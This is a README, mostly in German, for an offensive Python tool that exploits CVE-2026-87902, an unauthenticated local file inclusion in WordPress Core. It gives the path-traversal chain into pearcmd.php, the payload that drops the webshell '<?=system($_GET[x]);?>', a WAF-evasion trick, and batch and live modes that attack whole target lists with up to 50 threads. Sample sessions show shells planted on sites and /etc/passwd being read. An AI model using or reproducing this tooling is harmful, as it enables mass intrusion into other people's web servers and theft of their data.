Python-Exploit für CVE-2026-87902, eine unauthentifizierte LFI in WordPress Core ≤7.1.1: Fingerprinting von OPML, Erkennung des Webroot, Missbrauch des PEAR-Gadgets zum Ablegen einer Webshell und Verifizierung der RCE.
╔══════════════════════════════════════════════════════╗
║ ♡ CVE-2026-87902 · WordPress Core ♡ ║
║ Unauthenticated LFI → RCE · Affected <= 7.1.1 ║
║ === Majestic666 x Caterscam === ║
╚══════════════════════════════════════════════════════╝
WordPress Core ≤ 7.1.1 — Nicht authentifizierte LFI → RCE
CVE-2026-87902 ist eine nicht authentifizierte Local File Inclusion-Schwachstelle im WordPress Core ≤ 7.1.1 über locate_template().
Der Parameter pagename in der Query-Zeichenkette wird unsanitisiert an locate_template() übergeben, was Path Traversal ermöglicht, um beliebige, bereits auf dem Server vorhandene PHP-Dateien einzubinden — am kritischsten pearcmd.php, das Argumente über QUERY_STRING akzeptiert und vom Angreifer kontrollierte Dateien schreiben kann.
pagename path traversal
└─ include ../../../../wp-links-opml.php ← LFI confirmation (OPML)
└─ include ../../../../usr/share/php/pearcmd.php ← PEAR gadget
└─ &+config-create+/<?=system($_GET[x]);?>+/dest.php
└─ mr666_<hex>.php ← webshell in wp-content/
└─ ?x=id → uid=33(www-data) ... ← RCE confirmed
| Funktion | Detail |
|---|---|
| OPML-Auto-Fingerprint | Ruft wp-links-opml.php vor dem LFI-Sweep ab, extrahiert strukturelle XML-/Generator-Signaturen und verwirft False Positives, bei denen HTML vor dem OPML-Inhalt erscheint |
| Multi-Source-Versionserkennung | meta → rss → opml → readme → asset → login → install → wp-json |
| Automatische Webroot-Erkennung | 3 Methoden: PHP-Fehlerpfad-Leak, wp-config.php ABSPATH, wp-load.php-Pfad |
| 90+ Fallback-Webroot-Muster | cPanel, Plesk, Bitnami, Docker, DirectAdmin, Beget, LiteSpeed, Termux usw. |
| PEAR-Tier-Sweep | FAST-Tier (20 Pfade) → FULL-Tier (70+ Pfade), falls FAST fehlschlägt |
| WAF-Bypass | 50 KB POST-Body-Padding, um pagename über die Body-Inspektionsschwelle der WAF hinauszuschieben |
| Shell-Ausgabe-Bereiniger | Dedupliziert PEARs 12-fach wiederholte Befehlsausgabe; extrahiert saubere uid=- / uname-Zeilen |
| Massenverifikation | Führt id auf jeder abgelegten Shell aus, um Live-RCE zu bestätigen, bevor sie als Erfolg markiert wird |
| Live-Modus | Verfolgt eine Datei und exploitiert neue Ziele, sobald Zeilen angehängt werden — die Datei muss beim Start nicht existieren |
| Einzelmodus | Interaktive Shell mit vollständiger PTY-artiger Befehlsschleife |
urllib, ssl, re, json, threading)python3 majestic666.py
Einen Zielhost ausnutzen, eine Shell abrufen und eine interaktive Eingabeaufforderung erhalten.
♡ [1] Single · interactive shell
◆ [2] Mass · batch file — one-shot or live tail
⚡ [3] Live · watch file, exploit new targets
✗ [4] Exit · see you next time ♡
♡ choice [1/2/3/4] : 1
♡ target url : https://target.com
────────────────────────────────────────────────────
◆ scanning https://target.com
◆ wp=7.0.3 (src=meta,opml) php=PHP/8.1.12 server=nginx
◆ opml sigs: 3
[*] lfi d=3 suf=templates http=200 OPML=YES
♡ LFI confirmed — depth=3 suffix=templates
[*] pear sweep tier1: 20 paths
[+] gadget /usr/share/php/pearcmd.php depth=4 (tier=FAST)
[*] webroot attempts: 186 (auto+defaults)
[*] write /var/www/html/wp-content/mr666_a3f8c192.php -> http=200
★ shell uploaded
★ ▶ https://target.com/wp-content/mr666_a3f8c192.php
♡ execute : curl 'https://target.com/wp-content/mr666_a3f8c192.php?x=id'
────────────────────────────────────────────────────
♡ shell> id
▶ uid=33(www-data) gid=33(www-data) groups=33(www-data)
♡ shell> uname -a
▶ Linux srv01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
♡ shell> cat /etc/passwd | head -3
▶ root:x:0:0:root:/root:/bin/bash
▶ daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
▶ bin:x:2:2:bin:/bin:/usr/sbin/nologin
♡ shell> exit
♡ bye ♡
Benutzerdefinierte Shell: Lassen Sie die Eingabeaufforderung
shell fileleer, um die integrierte<?=system($_GET[x]);?>-Webshell zu verwenden, oder geben Sie einen Pfad zu Ihrer eigenen.php-Datei ein, um sie über das PEAR-Gadget weiterzuleiten.
Nutzen Sie eine Liste von Zielen parallel aus. Zwei Untermodi: One-shot und Live-Tail.
Verarbeiten Sie eine Zieldatei einmalig und beenden Sie den Vorgang.
♡ choice [1/2/3/4] : 2
♡ [1] one-shot · process file once
⚡ [2] live · tail file, exploit new targets
♡ scan mode [1/2] : 1
◆ targets file [targets.txt] : targets.txt
◆ threads [1-50] : 20
╾────────────── BATCH SCAN ──────────────╼
◆ targets ▶ 150
◆ threads ▶ 20
◆ output ▶ rce.txt
◆ verify ▶ id
──────────────────────────────────────────────────
[1] https://vuln1.com [Wordpress 7.0.3] [ VULN ] [ RCE OK ] uid=33(www-data)...
[2] https://shop.nope.io [Not Wordpress or WAF]
[3] https://patched.net [Wordpress 7.1.2] [ PATCHED ]
[4] https://vuln2.org [Wordpress 6.9.1] [ VULN ] [ RCE OK ] uid=1000(deploy)...
[5] https://dead.example [ FAIL ] [ Failed ]
...
◆ [50/150] ♡ vuln=2 ★ rce=2 ⚠ unverif=0 ⚠ bypass=0 ✗ skip=46
╾────────────── RESULTS ──────────────────╼
◆ scanned ▶ 150
♡ vuln ▶ 4
♡ lfi only ▶ 1
★ rce ok ▶ 3
⚠ unverified ▶ 1
⚠ bypass ▶ 1
◆ patched ▶ 12
✗ skip ▶ 131
✗ dead ▶ 2
──────────────────────────────────────────────────
★ saved ▶ rce.txt
⚠ bypass ▶ bypass-manual.txt
Gleiches wie Modus [3], aber über das Mass-Modus-Menü erreichbar.
♡ scan mode [1/2] : 2
◆ targets file [targets.txt] : feed.txt
◆ threads [1-50] : 10
[LIVE] Watching feed.txt — Ctrl+C to stop
Threads : 10
Output : rce.txt
──────────────────────────────────────────────────
[LIVE] queued https://new-target.com
[7] https://new-target.com [Wordpress 6.8.3] [ VULN ] [ RCE OK ] uid=33(www-data)...
Beginne sofort mit der Überwachung einer Datei. Neue Zeilen werden ausgenutzt, sobald sie erscheinen.
Die Datei muss beim Start nicht existieren — nützlich in Kombination mit einem Scanner, der Ziele anhängt.
♡ choice [1/2/3/4] : 3
⚡ targets file [targets.txt] : /tmp/discovered.txt
⚡ threads [1-50] : 15
[LIVE] Watching /tmp/discovered.txt — Ctrl+C to stop
Threads : 15
Output : rce.txt
──────────────────────────────────────────────────
[LIVE] queued https://site1.example.com
[LIVE] queued https://site2.example.com
[1] https://site1.example.com [Wordpress 7.0.1] [ VULN ] [ RCE OK ] uid=33(www-data)
[2] https://site2.example.com [Not Wordpress or WAF]
...
^C
[LIVE] Stopped.
──────────────────────────────────────────────────
♡ Vuln : 1
★ RCE OK : 1
⚠ Unverified : 0
⚠ Bypass : 0
✗ Skip : 1
──────────────────────────────────────────────────
★ saved ▶ rce.txt
| Datei | Inhalt |
|---|---|
rce.txt | <url> | [RCE OK] <shell_url> | <id output> |
bypass-manual.txt | <url> | lfi-only — LFI bestätigt, aber kein PEAR-Gadget gefunden |